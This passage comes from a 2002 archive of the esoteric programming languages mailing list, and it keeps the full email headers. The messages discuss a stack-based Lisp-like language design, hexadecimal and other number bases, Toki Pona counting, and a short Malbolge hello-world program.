> Function names can be treated somewhat like symbols, using the curly braces
> above (which, like Lisp's ' convention, prevents it from attempting to
> execute it, and instead pushes a reference to the function itself).
>
> This is assuming I've interpreted your statement correctly.  You're applying
> the function 'lenin' to 'marx' and 'mao', and then applying the function
> 'foo' to the symbol 'bar' and to the results of the earlier call to lenin,
> yes?

Well, in Lisp, this would apply the function named "lenin" to the *contents*
of the variables named "marx" and "mao", then apply the function named "foo"
to the contents of the variable named "bar" and the result of the call to
"lenin".  What you're saying would be "(foo 'bar (lenin 'marx 'mao))".

But why not eliminate the function call completely, making all references to
a function pushes, and add an operator meaning "pop a function off the stack
and apply it to the items below"?  That way, the above code would become
something like "mao marx lenin ! bar foo !".  Actually, when I think about
it again, that looks a lot like RUL (Reverse Unlambda Notation)...







From esoteric@oiva.sange.fi Tue Jun 18 00:09:33 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K3ka-00027M-00; Tue, 18 Jun 2002 00:09:24 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 18 Jun 2002 00:09:16 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K3kR-00027G-00; Tue, 18 Jun 2002 00:09:15 +0300
Received: with LISTAR (v0.129a; list chat); Tue, 18 Jun 2002 00:09:13 +0300 (EEST)
Received: from mailout5-0.nyroc.rr.com ([24.92.226.122] helo=mailout5.nyroc.rr.com)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K3kM-00027A-00
	for chat@esoteric.sange.fi; Tue, 18 Jun 2002 00:09:11 +0300
Received: from mail1.twcny.rr.com (mail1-4.nyroc.rr.com [24.92.226.202])
	by mailout5.nyroc.rr.com (8.11.6/RoadRunner 1.20) with ESMTP id g5HL90f04200
	for <chat@esoteric.sange.fi>; Mon, 17 Jun 2002 17:09:01 -0400 (EDT)
Received: from riff ([24.92.246.4]) by mail1.twcny.rr.com
          (Post.Office MTA v3.5.3 release 223
          ID# 0-59787U250000L250000S0V35) with ESMTP id com
          for <chat@esoteric.sange.fi>; Mon, 17 Jun 2002 17:08:59 -0400
Received: from rob by riff with local (Exim 3.35 #1 (Debian))
	id 17K3kC-0000Xm-00
	for <chat@esoteric.sange.fi>; Mon, 17 Jun 2002 17:09:00 -0400
Date: Mon, 17 Jun 2002 17:09:00 -0400
From: Rob Speer <rob@twcny.rr.com>
To: chat@esoteric.sange.fi
Subject: [chat] Re: The kooks of sci.physics
Message-ID: <20020617210900.GB1910@twcny.rr.com>
References: <KGEPLGONBPHFGIHOBLCKKEEICIAA.gerson.kurz@t-online.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <KGEPLGONBPHFGIHOBLCKKEEICIAA.gerson.kurz@t-online.de>
User-Agent: Mutt/1.4i
X-Is-It-Not-Nifty: www.sluggy.com
Sender: Rob Speer <rob@riff>
X-listar-version: Listar v0.129a
Sender: chat-bounce@esoteric.sange.fi
Errors-to: chat-bounce@esoteric.sange.fi
X-original-sender: rob@twcny.rr.com
Precedence: bulk
Reply-to: chat@esoteric.sange.fi
X-list: chat
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: rob@twcny.rr.com
Precedence: bulk
X-list: misc

On Mon, Jun 17, 2002 at 07:58:47PM +0200, Gerson Kurz wrote:
> 10.6.2002: "thinkit" wants you to think about changing your physics from
> decimal to hexadecimal, that would be a lot better.

LOL!

I've encountered this guy on another forum, the Lojban language mailing
list. He wanted Lojban's "default base" for numbers to be changed from
decimal to hexadecimal. (Lojban does have single-syllable words for
digits up to 15, so we were unfortunately an easy target for him.)
Whenever someone uses the decimal system he either pretends not to
understand or he flames them.

Occasionally he claims that the hexadecimal system is necessary for
human evolution, and the decimal users are going to go extinct.

He stopped bothering us a while ago. It's nice to see he's graduated to
being a fully-fledged sci.physics kook.

-- 
Rob Speer






From esoteric@oiva.sange.fi Tue Jun 18 00:52:01 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K4Ov-0002DX-00; Tue, 18 Jun 2002 00:51:05 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 18 Jun 2002 00:50:56 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K4Ol-0002DR-00; Tue, 18 Jun 2002 00:50:55 +0300
Received: with LISTAR (v0.129a; list chat); Tue, 18 Jun 2002 00:50:53 +0300 (EEST)
Received: from h24-71-223-10.cg.shawcable.net ([24.71.223.10] helo=pd2mo2so.prod.shaw.ca)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K4Od-0002DL-00
	for chat@esoteric.sange.fi; Tue, 18 Jun 2002 00:50:52 +0300
Received: from pd3mr1so.prod.shaw.ca (pd3mr1so-ser.prod.shaw.ca [10.0.141.177])
 by l-daemon (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 12 2002))
 with ESMTP id <0GXV0021GDW80Y@l-daemon> for chat@esoteric.sange.fi; Mon,
 17 Jun 2002 15:48:08 -0600 (MDT)
Received: from pn2ml7so.prod.shaw.ca
 (pn2ml7so-qfe0.prod.shaw.ca [10.0.121.151]) by l-daemon
 (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 12 2002))
 with ESMTP id <0GXV0033ODW8J7@l-daemon> for chat@esoteric.sange.fi; Mon,
 17 Jun 2002 15:48:08 -0600 (MDT)
Received: from localhost (h24-78-145-92.vc.shawcable.net [24.78.145.92])
 by l-daemon (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 12 2002))
 with SMTP id <0GXV00KQYDW7IO@l-daemon> for chat@esoteric.sange.fi; Mon,
 17 Jun 2002 15:48:08 -0600 (MDT)
Date: Mon, 17 Jun 2002 14:54:16 +0000
From: Nikita Ayzikovsky <ayzik@shaw.ca>
Subject: [chat] Re: The kooks of sci.physics
In-reply-to: <20020617210900.GB1910@twcny.rr.com>
To: chat@esoteric.sange.fi
Message-id: <20020617145416.727ecff4.ayzik@shaw.ca>
MIME-version: 1.0
X-Mailer: Sylpheed version 0.7.5 (GTK+ 1.2.10; i686-pc-linux-gnu)
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
References: <KGEPLGONBPHFGIHOBLCKKEEICIAA.gerson.kurz@t-online.de>
 <20020617210900.GB1910@twcny.rr.com>
X-listar-version: Listar v0.129a
Sender: chat-bounce@esoteric.sange.fi
Errors-to: chat-bounce@esoteric.sange.fi
X-original-sender: ayzik@shaw.ca
Precedence: bulk
Reply-to: chat@esoteric.sange.fi
X-list: chat
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ayzik@shaw.ca
Precedence: bulk
X-list: misc

On Mon, 17 Jun 2002 17:09:00 -0400
Rob Speer <rob@twcny.rr.com> wrote:

> I've encountered this guy on another forum, the Lojban language mailing
> list. He wanted Lojban's "default base" for numbers to be changed from
> decimal to hexadecimal. (Lojban does have single-syllable words for
> digits up to 15, so we were unfortunately an easy target for him.)
> Whenever someone uses the decimal system he either pretends not to
> understand or he flames them.
> 
> Occasionally he claims that the hexadecimal system is necessary for
> human evolution, and the decimal users are going to go extinct.

Hm, I certainly agree with that...

  __
<(oO)>  Cthulhu       ()  ASCII ribbon campaign
 /||\   Fhtagn!       /\    against HTML mail





From esoteric@oiva.sange.fi Tue Jun 18 03:19:30 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K6iQ-0002di-00; Tue, 18 Jun 2002 03:19:22 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 18 Jun 2002 03:19:15 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K6hj-0002db-00; Tue, 18 Jun 2002 03:18:39 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 18 Jun 2002 03:18:31 +0300 (EEST)
Received: from artemis.ee.teiath.gr ([195.130.107.17])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K6hY-0002dV-00
	for lang@esoteric.sange.fi; Tue, 18 Jun 2002 03:18:28 +0300
Received: from xpakccp18hkqn8 (ppp7.ee.teiath.gr [195.130.107.60])
	by artemis.ee.teiath.gr (8.11.2/8.8.7) with SMTP id g5I10EO08097
	for <lang@esoteric.sange.fi>; Tue, 18 Jun 2002 04:00:16 +0300
Message-ID: <010301c2165d$29d5c400$0200a8c0@xpakccp18hkqn8>
From: "Al. Andreou" <ee4299@ee.teiath.gr>
To: <lang@esoteric.sange.fi>
References: <E17HRf4-000IT8-00@oiva.sange.fi> <200206132346.34515.cbiffle@safety.net> <008b01c2137c$70ca6520$0200a8c0@xpakccp18hkqn8> <200206151352.15620.cbiffle@safety.net> <045601c214b1$6191fec0$0200a8c0@xpakccp18hkqn8> <200206171446.PAA00509@-f>
Subject: [lang] Re: [voodoo] was something about FOREIGN PARTNERS :-)
Date: Tue, 18 Jun 2002 03:01:48 +0300
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-7"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Content-Transfer-Encoding: quoted-printable
X-MIME-Autoconverted: from 8bit to quoted-printable by artemis.ee.teiath.gr id g5I10EO08097
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ee4299@ee.teiath.gr
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ee4299@ee.teiath.gr
Precedence: bulk
X-list: misc

>  _/|_ _______________________________________________________________
> /o ) \/  Mike Taylor   <mike@miketaylor.org.uk>   www.miketaylor.org.uk
> )_v__/\  "Revise and rewrite" -- Strunk & White.

I always was a pro-NetBSD person. Can you draw the daemon in 4 lines?
Even laying down.

  __
.=B4  `.  Al. Andreou <ee4299@ee.teiath.gr>
| :' !  http://nemesis.ee.teiath.gr/~ee4299/
`. `=B4   As the venerable Descates once almost said,
  `-            CODITO, ERGO SUM






From esoteric@oiva.sange.fi Tue Jun 18 06:38:54 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K9p5-0003GR-00; Tue, 18 Jun 2002 06:38:27 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 18 Jun 2002 06:38:20 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K9ox-0003GL-00; Tue, 18 Jun 2002 06:38:19 +0300
Received: with LISTAR (v0.129a; list chat); Tue, 18 Jun 2002 06:38:17 +0300 (EEST)
Received: from mailout6-0.nyroc.rr.com ([24.92.226.125] helo=mailout6.nyroc.rr.com)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17K9ou-0003GF-00
	for chat@esoteric.sange.fi; Tue, 18 Jun 2002 06:38:16 +0300
Received: from mail1.twcny.rr.com (mail1-4.nyroc.rr.com [24.92.226.202])
	by mailout6.nyroc.rr.com (8.11.6/RoadRunner 1.20) with ESMTP id g5I3cDD19520
	for <chat@esoteric.sange.fi>; Mon, 17 Jun 2002 23:38:14 -0400 (EDT)
Received: from riff ([24.92.246.4]) by mail1.twcny.rr.com
          (Post.Office MTA v3.5.3 release 223
          ID# 0-59787U250000L250000S0V35) with ESMTP id com
          for <chat@esoteric.sange.fi>; Mon, 17 Jun 2002 23:38:11 -0400
Received: from rob by riff with local (Exim 3.35 #1 (Debian))
	id 17K9or-0000tK-00
	for <chat@esoteric.sange.fi>; Mon, 17 Jun 2002 23:38:13 -0400
Date: Mon, 17 Jun 2002 23:38:13 -0400
From: Rob Speer <rob@twcny.rr.com>
To: chat@esoteric.sange.fi
Subject: [chat] Re: The kooks of sci.physics
Message-ID: <20020618033813.GC3073@twcny.rr.com>
References: <KGEPLGONBPHFGIHOBLCKKEEICIAA.gerson.kurz@t-online.de> <20020617210900.GB1910@twcny.rr.com> <20020617145416.727ecff4.ayzik@shaw.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020617145416.727ecff4.ayzik@shaw.ca>
User-Agent: Mutt/1.4i
X-Is-It-Not-Nifty: www.sluggy.com
Sender: Rob Speer <rob@riff>
X-listar-version: Listar v0.129a
Sender: chat-bounce@esoteric.sange.fi
Errors-to: chat-bounce@esoteric.sange.fi
X-original-sender: rob@twcny.rr.com
Precedence: bulk
Reply-to: chat@esoteric.sange.fi
X-list: chat
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: rob@twcny.rr.com
Precedence: bulk
X-list: misc

On Mon, Jun 17, 2002 at 02:54:16PM +0000, Nikita Ayzikovsky wrote:
> > Occasionally he claims that the hexadecimal system is necessary for
> > human evolution, and the decimal users are going to go extinct.
> 
> Hm, I certainly agree with that...

Are you serious? Power-of-two bases are entirely unsuitable for the
things people do with numbers. In the cases where it matters at all, the
more useful bases are ones with more different factors. The Babylonians
had it right in using base 60 (though 12 is pretty good too, and
requires quite a lot less symbols). Not that any of the advantages are
enough to really justify switching from base 10.

Power-of-two bases are nothing but a more compact representation of
binary. That's great for computers, and indeed hexadecimal and octal are
already used there. But where do you encounter strings of binary states
outside of a computer?

-- 
Rob Speer






From esoteric@oiva.sange.fi Tue Jun 18 08:22:33 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KBRD-0003UX-00; Tue, 18 Jun 2002 08:21:55 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 18 Jun 2002 08:21:47 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KBR4-0003UR-00; Tue, 18 Jun 2002 08:21:46 +0300
Received: with LISTAR (v0.129a; list chat); Tue, 18 Jun 2002 08:21:44 +0300 (EEST)
Received: from h24-71-223-10.cg.shawcable.net ([24.71.223.10] helo=pd3mo2so.prod.shaw.ca)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KBQx-0003UJ-00
	for chat@esoteric.sange.fi; Tue, 18 Jun 2002 08:21:39 +0300
Received: from pd3mr3so.prod.shaw.ca (pd3mr3so-ser.prod.shaw.ca [10.0.141.179])
 by l-daemon (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 12 2002))
 with ESMTP id <0GXV00HIMYLV9C@l-daemon> for chat@esoteric.sange.fi; Mon,
 17 Jun 2002 23:15:31 -0600 (MDT)
Received: from pn2ml8so.prod.shaw.ca
 (pn2ml8so-qfe0.prod.shaw.ca [10.0.121.152]) by l-daemon
 (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 12 2002))
 with ESMTP id <0GXV00776YLWAZ@l-daemon> for chat@esoteric.sange.fi; Mon,
 17 Jun 2002 23:15:32 -0600 (MDT)
Received: from localhost (h24-78-145-92.vc.shawcable.net [24.78.145.92])
 by l-daemon (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 12 2002))
 with SMTP id <0GXV0035VYLVVL@l-daemon> for chat@esoteric.sange.fi; Mon,
 17 Jun 2002 23:15:32 -0600 (MDT)
Date: Mon, 17 Jun 2002 22:21:43 +0000
From: Nikita Ayzikovsky <ayzik@shaw.ca>
Subject: [chat] Re: The kooks of sci.physics
In-reply-to: <20020618033813.GC3073@twcny.rr.com>
To: chat@esoteric.sange.fi
Message-id: <20020617222143.67adaeb9.ayzik@shaw.ca>
MIME-version: 1.0
X-Mailer: Sylpheed version 0.7.5 (GTK+ 1.2.10; i686-pc-linux-gnu)
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
References: <KGEPLGONBPHFGIHOBLCKKEEICIAA.gerson.kurz@t-online.de>
 <20020617210900.GB1910@twcny.rr.com> <20020617145416.727ecff4.ayzik@shaw.ca>
 <20020618033813.GC3073@twcny.rr.com>
X-listar-version: Listar v0.129a
Sender: chat-bounce@esoteric.sange.fi
Errors-to: chat-bounce@esoteric.sange.fi
X-original-sender: ayzik@shaw.ca
Precedence: bulk
Reply-to: chat@esoteric.sange.fi
X-list: chat
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ayzik@shaw.ca
Precedence: bulk
X-list: misc

On Mon, 17 Jun 2002 23:38:13 -0400
Rob Speer <rob@twcny.rr.com> wrote:

> On Mon, Jun 17, 2002 at 02:54:16PM +0000, Nikita Ayzikovsky wrote:
> > > Occasionally he claims that the hexadecimal system is necessary for
> > > human evolution, and the decimal users are going to go extinct.
> > 
> > Hm, I certainly agree with that...
> 
> Are you serious? Power-of-two bases are entirely unsuitable for the
> things people do with numbers. In the cases where it matters at all, the
> more useful bases are ones with more different factors. The Babylonians
> had it right in using base 60 (though 12 is pretty good too, and
> requires quite a lot less symbols). Not that any of the advantages are
> enough to really justify switching from base 10.

Sure, there's nothing especially useful about the powers of two, but they
just appeal to my sense of aesthetics. And 10, on the other hand, is just
about as ugly as it gets. The number 10 is so... mediocre...

I agree that 12 would be pretty cool - it's nice to divide stuff into, and
there's a cool way to count to 12 with one hand (pointing with the thumb
to the phalanges of the other fingers). 16 is also very cool, although i don't
approve of mixing digits and letters - better to use letters exclusively or
create a whole new set of signs.

Oh well. People are such materialists...

By the way, there's a very cool artificial human language called Toki Pona -
http://www.tokipona.org/ , which strives to be as minimal as possible, having
only 120 most essential words. The numbering system in that language is just great:

1 : wan
2 : tu
3+: mute

And a word "luka", that means "hand" but can also mean five, if you really need such
a big number. So to say "123", for example, you would go "luka luka luka luka luka
luka luka luka luka luka luka luka luka luka luka luka luka luka luka luka luka luka
luka luka tu wan!"

  __
<(oO)>  Cthulhu       ()  ASCII ribbon campaign     \ \/ \/\/\ \/ \/\/
 /||\   Fhtagn!       /\    against HTML mail       /\/\./\/\/\/\./\/\





From esoteric@oiva.sange.fi Tue Jun 18 08:47:07 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KBpJ-0003Zw-00; Tue, 18 Jun 2002 08:46:49 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 18 Jun 2002 08:46:41 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KBpA-0003Zq-00; Tue, 18 Jun 2002 08:46:40 +0300
Received: with LISTAR (v0.129a; list chat); Tue, 18 Jun 2002 08:46:39 +0300 (EEST)
Received: from mailout6-1.nyroc.rr.com ([24.92.226.177] helo=mailout6.nyroc.rr.com)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KBp8-0003Zk-00
	for chat@esoteric.sange.fi; Tue, 18 Jun 2002 08:46:38 +0300
Received: from mail1.twcny.rr.com (mail1-4.nyroc.rr.com [24.92.226.202])
	by mailout6.nyroc.rr.com (8.11.6/RoadRunner 1.20) with ESMTP id g5I5kZD13155
	for <chat@esoteric.sange.fi>; Tue, 18 Jun 2002 01:46:35 -0400 (EDT)
Received: from riff ([24.92.246.4]) by mail1.twcny.rr.com
          (Post.Office MTA v3.5.3 release 223
          ID# 0-59787U250000L250000S0V35) with ESMTP id com
          for <chat@esoteric.sange.fi>; Tue, 18 Jun 2002 01:46:34 -0400
Received: from rob by riff with local (Exim 3.35 #1 (Debian))
	id 17KBp5-0000vv-00
	for <chat@esoteric.sange.fi>; Tue, 18 Jun 2002 01:46:35 -0400
Date: Tue, 18 Jun 2002 01:46:35 -0400
From: Rob Speer <rob@twcny.rr.com>
To: chat@esoteric.sange.fi
Subject: [chat] Re: The kooks of sci.physics
Message-ID: <20020618054635.GA3573@twcny.rr.com>
References: <KGEPLGONBPHFGIHOBLCKKEEICIAA.gerson.kurz@t-online.de> <20020617210900.GB1910@twcny.rr.com> <20020617145416.727ecff4.ayzik@shaw.ca> <20020618033813.GC3073@twcny.rr.com> <20020617222143.67adaeb9.ayzik@shaw.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020617222143.67adaeb9.ayzik@shaw.ca>
User-Agent: Mutt/1.4i
X-Is-It-Not-Nifty: www.sluggy.com
Sender: Rob Speer <rob@riff>
X-listar-version: Listar v0.129a
Sender: chat-bounce@esoteric.sange.fi
Errors-to: chat-bounce@esoteric.sange.fi
X-original-sender: rob@twcny.rr.com
Precedence: bulk
Reply-to: chat@esoteric.sange.fi
X-list: chat
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: rob@twcny.rr.com
Precedence: bulk
X-list: misc

On Mon, Jun 17, 2002 at 10:21:43PM +0000, Nikita Ayzikovsky wrote:
> By the way, there's a very cool artificial human language called Toki Pona -
> http://www.tokipona.org/ , which strives to be as minimal as possible, having
> only 120 most essential words. The numbering system in that language is just great:
> 
> 1 : wan
> 2 : tu
> 3+: mute
> 
> And a word "luka", that means "hand" but can also mean five, if you really need such
> a big number. So to say "123", for example, you would go "luka luka luka luka luka
> luka luka luka luka luka luka luka luka luka luka luka luka luka luka luka luka luka
> luka luka tu wan!"

Heh! I've encountered Toki Pona before. Its extreme minimalism made me
wonder why anyone would want to use it, but I suppose that in that
regard it's like BrainFuck.

This also greatly reminds me of "troll counting" from Discworld. The
trolls count "one, two, three, many". Highly intelligent trolls go on in
base 4 with "many one, many two, many three, many many..." until at 16
they reach "lots".

-- 
Rob Speer






From esoteric@oiva.sange.fi Tue Jun 18 09:35:02 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KCZg-0003nY-00; Tue, 18 Jun 2002 09:34:44 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 18 Jun 2002 09:34:37 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KCZ4-0003nL-00; Tue, 18 Jun 2002 09:34:06 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 18 Jun 2002 09:33:58 +0300 (EEST)
Received: from web14007.mail.yahoo.com ([216.136.175.123])
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 17KCYv-0003nF-00
	for lang@esoteric.sange.fi; Tue, 18 Jun 2002 09:33:57 +0300
Message-ID: <20020618063351.93577.qmail@web14007.mail.yahoo.com>
Received: from [194.100.133.65] by web14007.mail.yahoo.com via HTTP; Tue, 18 Jun 2002 07:33:51 BST
Date: Tue, 18 Jun 2002 07:33:51 +0100 (BST)
From: =?iso-8859-1?q?Stephen=20Sykes?= <s_d_sykes@yahoo.co.uk>
Subject: [lang] Re: Malbolge
To: lang@esoteric.sange.fi
In-Reply-To: <175433249910.20020618001144@frox25.dhs.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: s_d_sykes@yahoo.co.uk
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: s_d_sykes@yahoo.co.uk
Precedence: bulk
X-list: misc

> Antwon's classic "Hello, world." program from this page can be written
> more shortly in fact.   Here is 89 bytes compared to 116 Antwon's
> (am I opening first Malbolge golf now? :)
> 
> (=<`#9]~6ZY32Vw/.R,+Op(L,+k#Gh&}Cdz@aw=;zyKw%ut4U
> qp0/mlejihtfrHcbaC2^W\>Z,XW)UTSL53\HGFjW
> 

Have you seen this one?
http://www2.latech.edu/~acm/helloworld/malbolge.html

The comment suggests that the two versions given are different, but as far
as I can see they are the same, and they don't work (they seem to wait for
you to type hello, world instead of printing it).

Anyhow, this appears to be the second longest hello world in existence -
there was an even longer effort posted in this list last year.  (see
http://esoteric.sange.fi/archive/2001-q4 )

> ---
> DCBA@?>!<543W7w/S-,Pq)M:,8[)Y!WgU0"b>w|{]LxwvuGV
> 

Hmm, a malbolge signature. Nice.

Stephen
+- S.D.Sykes - www.stephensykes.com - +358 50 577 3879 -
| "There should be one-- and preferably only one --obvious 
| way to do it.
| Although that way may not be obvious at first unless 
| you're Dutch."  -- Tim Peters



__________________________________________________
Do You Yahoo!?
Everything you'll ever need on one web page
from News and Sport to Email and Music Charts
http://uk.my.yahoo.com





From esoteric@oiva.sange.fi Tue Jun 18 09:52:26 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KCql-0003qw-00; Tue, 18 Jun 2002 09:52:24 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 18 Jun 2002 09:52:16 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KCqR-0003qo-00; Tue, 18 Jun 2002 09:52:03 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 18 Jun 2002 09:51:55 +0300 (EEST)
Received: from ns3.safety.net ([216.40.201.32])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KCqH-0003qh-00
	for lang@esoteric.sange.fi; Tue, 18 Jun 2002 09:51:53 +0300
Received: from cliff (rs.rackshack.net.safety.net [216.40.201.32])
	by ns3.safety.net (8.10.2/8.10.2) with ESMTP id g5I6po220583
	for <lang@esoteric.sange.fi>; Mon, 17 Jun 2002 23:51:50 -0700
Content-Type: text/plain;
  charset="iso-8859-1"
From: "Cliff L. Biffle" <cbiffle@safety.net>
To: lang@esoteric.sange.fi
Subject: [lang] Re: [voodoo] was something about FOREIGN PARTNERS :-)
Date: Mon, 17 Jun 2002 23:52:41 -0700
X-Mailer: KMail [version 1.4]
References: <E17HRf4-000IT8-00@oiva.sange.fi> <200206151629.01197.cbiffle@safety.net> <3D0E2E9E.E9CC66F@dds.nl>
In-Reply-To: <3D0E2E9E.E9CC66F@dds.nl>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Message-Id: <200206172352.41571.cbiffle@safety.net>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
X-list: misc

On Monday 17 June 2002 11:46 am, you wrote:
> Well, in Lisp, this would apply the function named "lenin" to the
> *contents* of the variables named "marx" and "mao", then apply the func=
tion
> named "foo" to the contents of the variable named "bar" and the result =
of
> the call to "lenin".  What you're saying would be "(foo 'bar (lenin 'ma=
rx
> 'mao))".

Ah, right.  I've gone back to my old Lisp textbook for a refresher.

> But why not eliminate the function call completely, making all referenc=
es
> to a function pushes, and add an operator meaning "pop a function off t=
he
> stack and apply it to the items below"?  That way, the above code would
> become something like "mao marx lenin ! bar foo !".  Actually, when I t=
hink
> about it again, that looks a lot like RUL (Reverse Unlambda Notation)..=
=2E

I like it, and have considered it.  How, though, would it know how much d=
ata=20
to feed into the function?  That's the main problem I ran into.  The stac=
k=20
doesn't necessarily 'stop' right under the arguments.  (Though something =
like=20
stack frames could be used to limit scope.)  Thoughts?

I'm reworking Voodoo with more of a Lisp influence and less of a Forth on=
e at=20
the moment, so suggestions along these lines are much appreciated.

-Cliff L. Biffle





From esoteric@oiva.sange.fi Tue Jun 18 09:56:16 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KCtA-0003sd-00; Tue, 18 Jun 2002 09:54:52 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 18 Jun 2002 09:54:44 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KCt1-0003sO-00; Tue, 18 Jun 2002 09:54:43 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 18 Jun 2002 09:54:35 +0300 (EEST)
Received: from ns2.sztaki.hu ([193.225.86.1] helo=lutra.sztaki.hu)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KCst-0003sH-00
	for lang@esoteric.sange.fi; Tue, 18 Jun 2002 09:54:35 +0300
Received: from CONVERSION-DAEMON.sztaki.hu by sztaki.hu (PMDF V6.1-1 #30524)
 id <0GXW0040136T49@sztaki.hu> for lang@esoteric.sange.fi; Tue,
 18 Jun 2002 08:54:29 +0200 (MEST)
Received: from sztaki.hu by sztaki.hu (PMDF V6.1-1 #30524)
 id <0GXW0040136T48@sztaki.hu> for lang@esoteric.sange.fi; Tue,
